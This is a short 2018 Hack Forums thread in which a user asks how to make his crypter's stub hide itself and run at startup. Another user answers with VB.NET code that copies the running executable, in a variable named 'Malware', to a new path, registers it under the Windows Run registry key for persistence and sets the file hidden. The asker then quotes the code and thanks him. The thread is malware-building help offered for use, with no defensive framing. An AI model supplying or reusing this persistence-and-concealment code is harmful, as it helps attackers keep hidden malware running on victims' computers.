Hack Forums
[.NET] How to add server to startup / make file hidden - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] How to add server to startup / make file hidden (/showthread.php?tid=5919258)



How to add server to startup / make file hidden - Alx0 - Dec 15, 2018

Hi guys,

I'm new at the .Net section and i need help. I want my Crypter (if the checkbox (hidden) is checked) to make for example my Stub hidden or add it to startup. But i dont know how? Can someone help? :)


RE: How to add server to startup / make file hidden - NYANxCAT - Dec 15, 2018

Using Drop As New IO.FileStream("Path", IO.FileMode.Create)
Dim Malware As Byte() = IO.File.ReadAllBytes(Windows.Forms.Application.ExecutablePath)
Drop.Write(Malware, 0, Malware.Length)
End Using
Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run\").SetValue("Name", "Path")
IO.File.SetAttributes("Path", IO.FileAttributes.Hidden)


RE: How to add server to startup / make file hidden - Alx0 - Dec 15, 2018

(Dec 15, 2018 07:46 AM)˗ˏˋ NYAN CAT ˎˊ˗ Wrote:  Using Drop As New IO.FileStream("Path", IO.FileMode.Create)
   Dim Malware As Byte() = IO.File.ReadAllBytes(Windows.Forms.Application.ExecutablePath)
   Drop.Write(Malware, 0, Malware.Length)
End Using
Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run\").SetValue("Name", "Path")
IO.File.SetAttributes("Path", IO.FileAttributes.Hidden)

Thanks man <3